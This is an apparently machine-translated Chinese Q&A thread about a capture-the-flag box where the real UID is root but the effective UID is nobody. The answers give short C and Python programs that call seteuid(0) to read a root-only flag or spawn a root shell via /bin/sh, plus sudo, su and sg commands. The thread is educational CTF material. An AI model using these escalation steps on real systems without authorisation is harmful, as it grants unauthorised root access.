UID 是 root 但 whoami 說沒人

UID 是 root 但 whoami 說沒人

我正在參加一場奪旗競賽,我必須實施某種形式的權限升級才能讀取該flag.txt檔案。我注意到,當我運行時,whoami我得到以下結果:

myHostHere:/$ whoami
nobody

但是當我運行時,id我的 UID 設定為root

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

這是否意味著我可以充當 root 用戶等,或者我是否誤解了輸出?

編輯:

的輸出ls -l flag.txt如下:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

答案1

--static這可以透過在單獨的機器上編寫和編譯(使用)C 程式來解決,如下所示:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

可以將該檔案複製到 CTF 計算機,並授予執行權限chmod +x,並從該tmp資料夾執行。

答案2

我創建了一個與您非常相似的設定。我用調試器完成了它(示例:這裡那裡)。在受影響的外殼中,我有:

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

然後,根據這個答案:

文件訪問,以及需要root權限的操作,查看有效UID和GID。

事實上,發生的事情是這樣的:

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

但我可以這樣做:

$ sudo cat flag.txt
foo

或這個:

$ su -
# whoami
root
# cat flag.txt
foo

或這個:

$ sg root 'cat flag.txt'
foo

當您擁有 時uid=0,任何可以使用seteuid系統呼叫然後讀取檔案的東西都可以幫助您。例如python

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

您可以產生一個提升的 shell,而不是(或除了)讀取檔案:

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

在這個外殼中,你是rootcat flag.txt將工作。


測試平台:Debian GNU/Linux 9。

相關內容